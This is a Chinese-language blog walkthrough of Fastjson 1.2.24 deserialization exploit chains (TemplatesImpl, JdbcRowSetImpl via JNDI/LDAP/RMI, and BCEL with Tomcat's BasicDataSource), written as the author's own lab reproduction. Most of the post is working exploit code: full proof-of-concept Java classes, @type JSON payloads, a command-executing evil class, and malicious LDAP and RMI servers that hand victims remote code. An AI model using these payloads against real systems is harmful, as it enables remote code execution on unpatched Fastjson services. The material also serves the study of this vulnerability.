环境

pom.xml依赖如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>4.0.9</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.5</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.12</version>
</dependency>

其它的和之前没啥差别,jdk用8u65就行,因为会有jndi相关的一些东西

基于 TemplatesImpl 的利用链

这条链子网上的文章分析的很多,但是用的却是最少的,fastjson中就是找哪个类下的getter和setter有问题,而这条链传入了一堆根本没有getter和setter的变量,所以就得开启Feature.SupportNonPublicField这个属性反序列化的时候才能解析那些没有getter和setter方法的属性,这样就导致了这条链实用价值并不高

1.链子分析

选取能够命令执行的类

这里直接去到发现漏洞的类,在TemplatesImpl类,这个类也是CC3中利用的加载字节码的类即调用newInstance() 方法触发漏洞,在fastjson中它的一个getter方法里面也调用了即getTransletInstance()方法
image-20230821212512323
那这里可能就会出问题,实际上也确实有问题

TemplatesImpl调用条件分析

本来想先调试一下再来看的,奈何技术太差不会调,就跟着Drunkbaby佬先看一下 getTransletInstance() 方法,这里其实就和CC3差不多的了,我们需要进入defineTransletClasses()方法里面,那么这里要满足的条件就和CC3一样的了
image-20230821212545549
_name不能为空,_class要为空才能进入到defineTransletClasses()方法所以不赋值或者赋值为null都行,接着来到defineTransletClasses()方法,_bytecodes不能为空否则抛异常,接着就是_tfactory不能为空,因为这里会调用到getExternalExtensionsMap()方法为空的话你无法调用并且会报错,这里看一下这个变量发现是transient来修饰的,意味着反序列化无法取到它的值
image-20230821212603849
不过它一开始就进行了实例化正好为TransformerFactoryImpl类的实例,所以就不需要处理,但是在这里就有个疑问了,这也是前几天Jasper师傅问我的一个问题,我在分析CC3的时候都没注意到这个问题,既然它是由transient来修饰反序列化无法获取到它的值,全靠它自己的初始化,那么exp中为什么又要给它处理一下呢?我记得在CC3中是通过反射给它实例化了一下,带着这个问题继续往下,看看待会能不能搞懂,目前大概的payload就如下

1
2
3
4
5
6
7
8
9
10
11
12
13
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

final String evilClassPath = "E:\\Java反序列化\\test.class";
String evilCode = readClass(evilClassPath);
"
{

\"@type\":\"" + NASTY_CLASS + "\",
\"_bytecodes\":[\""+evilCode+"\"],
'_name':'Y0n3er',
'_tfactory':{ },

";

但是经过尝试还是不行的,所以继续分析,这里再看一下Fastjson会对setter/getter方法进行调用的要求
满足条件的setter:

  • 非静态函数
  • 返回类型为void或当前类
  • 参数个数为1个

满足条件的getter:

  • 非静态方法
  • 无参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

getTransletInstance() 这个方法不满足上述的返回值,如下
image-20230821212632069
它获取了实现Translet接口类的实例,所以它返回的是一个抽象类,不满足上述的返回类型,fastjson无法调用到

解决无法调用 getTransletInstance() 方法的问题

那么在这里就像之前找链子一样,find usages找谁调用了getTransletInstance() 方法,发现在同一个类下的newTransformer()方法中调用了
image-20230821212713593
但是newTransformer()不是setter/getter方法,无法直接调用,所以继续找谁调用了newTransformer(),然后找到了一个getter方法为getOutputProperties()在这个方法里面调用了newTransformer()
image-20230821212745315
所以这时的链子如下

1
2
getOutputProperties()  ---> newTransformer() ---> TransformerImpl(getTransletInstance(), _outputProperties,  
_indentNumber, _tfactory);

而且这个 getOutputProperties() 满足 getter 方法里面的返回值,因为返回值是 Properties 即继承自 Map 类型。
所以我们现在的 payload 里面需要去管 getOutputProperties()_outputProperties 变量的值,直接赋值为空,因为在前面的调用中会把 _outputProperties 变为 outputProperties ,然后调用这个属性的getter方法即getOutputProperties()这样就连起来了,所以我们的 payload 大概是这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";

final String evilClassPath = "E:\\Java反序列化\\test.class";
String evilCode = readClass(evilClassPath);
"
{

\"@type\":\"" + NASTY_CLASS + "\",
\"_bytecodes\":[\""+evilCode+"\"],
'_name':'Y0n3er',
'_tfactory':{ },
\"_outputProperties\":{ },
";

其实这样再构造exp就能弹出计算器了,但是这里还是先具体看一下为什么要加上_outputProperties 最终是找到了下面这里

在JavaBeanDeserializer类下的parseField()中调用了smartMatch()方法,跟进这个方法看看,通过这个方法获取到key为_outputProperties然后经过一系列操作将_outputProperties替换为outputProperties
image-20230821213147513
那么获取到这个属性之后就会去调用这个属性的getter方法,这样就来到了getOutputProperties()方法中,所以不要这个属性是不行的,然后就是之前的那个问题,关于_tfactory这个属性,在fastjson这条链中,这里直接将它设置为'_tfactory':{ }即没有做任何处理,让它自己初始化然后去调用getExternalExtensionsMap()方法,所以这里和CC3中不太一样这个问题就到时候再去看看CC3吧

2. EXP 构造

这里payload就是前面的那个,需要注意的是这里在反序列化的时候的参数需要加上 Object.class 加上这个参数后会返回我们反序列化的类,不然就返回的是parseObject当然利用parse来反序列化就不需要,然后还需要加上Feature.SupportNonPublicField这个在前面已经提过了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
package FastjsonPoc;  

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

public class TemplatesImplPoc {
//readClass用于将恶意类的二进制数据进行base64编码,因为bytesValue()会对_bytecodes的内容进行Base64解码
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}
public static void main(String[] args) {
try {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = "E:\\Java反序列化\\test.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'y0n3er','_tfactory':{ },\"_outputProperties\":{ },";
System.out.println(text1);

// Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
Object obj = JSON.parse(text1, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}

image-20230821213209083

JdbcRowSetImpl 利用链

这条链子就是平时用的多的一条,利用的是jndi注入

1.JNDI + LDAP

直接分析一下流程吧,不知道为什么复现失败了。。。
这里直接来到JdbcRowSetImpl这个类下,在connect()方法下可以看到明显的jndi注入
image-20230821213335448
现在寻找哪里调用了connect(),最终是找到了两个,但是getDatabaseMetaData()返回类型不符合getter调用条件,所以就找到了setAutoCommit()
image-20230821213346258
这里我find uasges是能找到调用但是不知道为什么右边不显示如上图,并且不能直接跳转到源码,不知道是不是因为是class文件的原因,到这里就算结束了,exp如下

1
2
3
4
5
6
7
8
9
10
11
package FastjsonPoc;  

import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;

public class JdbcRowSetImplPOC {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:8085/jhLlcFdL\", \"autoCommit\":true}";
JSON.parse(payload);
}
}

这里利用的是yakit反连服务作为server,比较方便
image-20230821213716194
能接收到ldap的请求,但就是弹不出计算器,报错如下
image-20230821213725971
设置autoCommit属性错误,不知道命令执行失败是不是因为这个报错,由于复现失败也不想调试分析了,后面又看了看直接跳到了下面这里抛出InvocationTargetException异常,但是不知道怎么解决
image-20230821213750166
因为打的是jndi注入,所以利用条件一样,也必须要出网。
后面又看了看,换了个方式来打,自己起服务不使用yakit,首先生成一个恶意字节码

1
2
3
4
5
6
7
8
9
public class test {  
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
e.printStackTrace();
}
}
}

上面这个利用javac编译为class文件,然后利用python起一个服务,记得起python服务的路径要和class文件路径一样不然读取不到class文件

1
python -m http.server

然后起服务端代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
package FastjsonPoc;  

import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;


public class LdapServer {
private static final String LDAP_BASE = "dc=example,dc=com";
public static void main (String[] args) {
String url = "http://127.0.0.1:8000/#test";
int port = 1099;
try {
InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);
config.setListenerConfigs(new InMemoryListenerConfig(
"listen",
InetAddress.getByName("0.0.0.0"),
port,
ServerSocketFactory.getDefault(),
SocketFactory.getDefault(),
(SSLSocketFactory) SSLSocketFactory.getDefault()));

config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));
InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
System.out.println("Listening on 0.0.0.0:" + port);
ds.startListening();
}
catch ( Exception e ) {
e.printStackTrace();
}
}
private static class OperationInterceptor extends InMemoryOperationInterceptor {
private URL codebase;
/**
* */ public OperationInterceptor ( URL cb ) {
this.codebase = cb;
}
/**
* {@inheritDoc}
* * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)
*/ @Override
public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
String base = result.getRequest().getBaseDN();
Entry e = new Entry(base);
try {
sendResult(result, base, e);
}
catch ( Exception e1 ) {
e1.printStackTrace();
}
}
protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {
URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
e.addAttribute("javaClassName", "Exploit");
String cbstring = this.codebase.toString();
int refPos = cbstring.indexOf('#');
if ( refPos > 0 ) {
cbstring = cbstring.substring(0, refPos);
}
e.addAttribute("javaCodeBase", cbstring);
e.addAttribute("objectClass", "javaNamingReference");
e.addAttribute("javaFactory", this.codebase.getRef());
result.sendSearchEntry(e);
result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
}

}
}

攻击的exp,因为是自己本地起的服务所以在端口稍微不同,后面的remoteObj无所谓不为空就行

1
2
3
4
5
6
7
8
9
10
11
12
package FastjsonPoc;  

import com.alibaba.fastjson.JSON;
import com.sun.rowset.JdbcRowSetImpl;
import java.lang.reflect.InvocationTargetException;

public class JdbcRowSetImplPOC {
public static void main(String[] args) throws Exception {
String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"DataSourceName\":\"ldap://127.0.0.1:1099/remoteObj\",\"autoCommit\":false}";
JSON.parseObject(s);
}
}

image-20230821213817470
这里也可以看到上面的报错是正常报错,和命令执行无关

2.JNDI+RMI

RMI攻击的exp把协议换一下就行,服务端不一样如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
package FastjsonPoc;  

import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) throws Exception{
InitialContext initialContext = new InitialContext();
Registry registry = LocateRegistry.createRegistry(1099);
Reference reference = new Reference("test","test","http://127.0.0.1:8000/");
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
}
}

攻击的exp,rmi这里必须为remoteObj,rmi这块儿没学好,接口这里有点迷

1
2
3
4
5
6
7
8
9
10
11
package FastjsonPoc;  

import com.alibaba.fastjson.JSON;

// 基于 JdbcRowSetImpl 的利用链
public class RMIPayload {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/remoteObj\", \"autoCommit\":true}";
JSON.parse(payload);
}
}

image-20230821213838383
同样也可以利用工具marshalsec来起服务,但是我利用失败了就不演示了

基于BCEL的利用链

先看下BCEL是什么吧,然后把tomcat的依赖导进来后面会用到

1
2
3
4
5
<dependency>  
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-dbcp</artifactId>
<version>9.0.8</version>
</dependency>

BCEL

BCEL的全名是Apache Commons BCEL,属于Apache Commons项目下的一个子项目,CC链也就是从Apache Commons产生的。

BCEL库提供了一系列用于分析、创建、修改Java Class文件的API。主要用来将xml文档转为class文件。编译后的class被称为translet,可以在后续用于对XML文件的转换。该库已经内置在了JDK中。关于BCEL具体详情可参考https://www.leavesongs.com/PENETRATION/where-is-bcel-classloader.html
这里先简单看下怎么利用BCEL来命令执行
BCEL中有一个类com.sun.org.apache.bcel.internal.util.ClassLoader,是一个ClassLoader,重写了loadClass方法。在ClassLoader#loadClass()中,其会判断类名是否是$$BCEL$$开头,如果是的话,将会对这个字符串进行decode。
image-20230821213912306
image-20230821213938865
然后用一个小Dome简单调试一下
恶意类

1
2
3
4
5
6
7
8
9
10
11
package FastjsonPoc;  

public class Evil {
static {
try {
Runtime.getRuntime().exec("calc.exe");
} catch (Exception e) {
e.printStackTrace();
}
}
}

测试Dome

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
package FastjsonPoc;  

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;

import java.io.IOException;

public class test {

public static void main(String[] args) throws IOException, ClassNotFoundException, IllegalAccessException, InstantiationException {
//使用BCEL(Byte Code Engineering Library)的Repository类的lookupClass方法,
// 尝试从类路径中查找名为 'calc.class' 的类,并返回一个 JavaClass 对象。
//'JavaClass' 是 BCEL 提供的类,用于表示已加载的 Java 类。
JavaClass cls = Repository.lookupClass(Evil.class);

//使用 BCEL 提供的 'Utility' 类的 'encode' 方法,将字节码使用base64进行编码:
// 'cls.getBytes()' 返回表示 'calc.class' 字节码的字节数组;true表示编码过程中进行分割
String code = Utility.encode(cls.getBytes(),true);
System.out.println("$$BCEL$$"+code);

//创建了一个ClassLoader对象,调用其loadClass方法
//loadClass方法用于加载类,接收一个字符串参数表示要加载的类的名称
// (这里的类通过将'$$BCEL$$'字符串和变量'code'拼接得到),再通过调用.newInstance方法创建一个新的对象
new ClassLoader().loadClass("$$BCEL$$"+code).newInstance();
}
}

image-20230821213957427
直接看下面这里
image-20230821214024960
命令执行的地方在defineClass即动态类加载,但进入这里首先clazz不能为null,此时如果class_name前几位为$$BCEL$$就会去执行createClass创建一个Classz这样就能来到defineClass加载到恶意类返回类的对象,在newInstance()的时候就会命令执行,那么现在就是找哪里能调用loadClass,最终是找到了BasicDataSource类,在createConnectionFactory()方法中会调用用forName其实底层就是调用loadClass(白日梦组长说的,具体没跟)
image-20230821214040909
然后就是看这两个变量可不可控,让ClassName为恶意的name,ClassLoad为上面Dome中的,在这里其实是有对应的setter和getter
image-20230821214059194
image-20230821214110741
那么这两个变量可控现在看能不能调用到createConnectionFactory()方法,找到了createDataSource()方法,继续往上找
image-20230821214124132
最终在getConnection()中调用了createDataSource()方法,且为getter方法
image-20230821214138477

构造exp

尝试构造一下exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package FastjsonPoc;  

import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;

import java.io.IOException;

public class BcelPoc {

public static void main(String[] args) throws Exception {
//使用BCEL(Byte Code Engineering Library)的Repository类的lookupClass方法,
// 尝试从类路径中查找名为 'calc.class' 的类,并返回一个 JavaClass 对象。
//'JavaClass' 是 BCEL 提供的类,用于表示已加载的 Java 类。
JavaClass cls = Repository.lookupClass(Evil.class);

//使用 BCEL 提供的 'Utility' 类的 'encode' 方法,将字节码使用base64进行编码:
// 'cls.getBytes()' 返回表示 'calc.class' 字节码的字节数组;true表示编码过程中进行分割
String code = Utility.encode(cls.getBytes(),true);
System.out.println("$$BCEL$$"+code);


BasicDataSource dataSource = new BasicDataSource();
dataSource.setDriverClassLoader(new ClassLoader());
dataSource.setDriverClassName("$$BCEL$$"+code);
dataSource.getConnection();
}
}

image-20230821214200048
成功执行,现在换成@type形式的就OK了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
package FastjsonPoc;  

import com.alibaba.fastjson.JSON;
import com.sun.org.apache.bcel.internal.Repository;
import com.sun.org.apache.bcel.internal.classfile.JavaClass;
import com.sun.org.apache.bcel.internal.classfile.Utility;
import com.sun.org.apache.bcel.internal.util.ClassLoader;
import org.apache.tomcat.dbcp.dbcp2.BasicDataSource;

import java.io.IOException;

public class BcelPoc {

public static void main(String[] args) throws Exception {
//使用BCEL(Byte Code Engineering Library)的Repository类的lookupClass方法,
// 尝试从类路径中查找名为 'calc.class' 的类,并返回一个 JavaClass 对象。
//'JavaClass' 是 BCEL 提供的类,用于表示已加载的 Java 类。
JavaClass cls = Repository.lookupClass(Evil.class);

//使用 BCEL 提供的 'Utility' 类的 'encode' 方法,将字节码使用base64进行编码:
// 'cls.getBytes()' 返回表示 'calc.class' 字节码的字节数组;true表示编码过程中进行分割
String code = Utility.encode(cls.getBytes(),true);
System.out.println("$$BCEL$$"+code);


// BasicDataSource dataSource = new BasicDataSource();
// dataSource.setDriverClassLoader(new ClassLoader());
// dataSource.setDriverClassName("$$BCEL$$"+code);
// dataSource.getConnection();

//driverClassLoader需要传入的是ClassLoader对象所以也需要用@type形式引入
String s = "{\"@type\":\"org.apache.tomcat.dbcp.dbcp2.BasicDataSource\",\"driverClassName\":\"$$BCEL$$" +code +"\",\"driverClassLoader\":{\"@type\":\"com.sun.org.apache.bcel.internal.util.ClassLoader\"}}";
JSON.parseObject(s);
}
}

后面一定要用parseObject()去反序列化,因为我们要调它的getConnection()为getter方法需要进入toJSON()方法中
image-20230821214212598
这条链子在不出网的时候可以利用

总结

JdbcRowSetImpl这条链一开始没打通搞得很烦,总的来说跟的不是很深,可能后面会来再看,另外感觉在Obsidian写了文章,然后利用Typora发博客图片处理真的麻烦,不知道有没有啥好办法

参考

Fastjson系列二——1.2.22-1.2.24反序列化漏洞 [ Mi1k7ea ]
【两万字原创长文】完全零基础入门Fastjson系列漏洞(基础篇)_W01fh4cker的博客-CSDN博客
Java反序列化Fastjson篇02-Fastjson-1.2.24版本漏洞分析 | Drunkbaby’s Blog (drun1baby.top)
红队漏洞研究-fastjsonBasicDataSource链分析_Gamma_lab的博客-CSDN博客
利用BCEL打fastjson直接burp回显getshell - FreeBuf网络安全行业门户

https://www.bilibili.com/video/BV1pP411N726/?spm_id_from=333.788&vd_source=fdbccecc8d1a39a2449860e47c52b6e7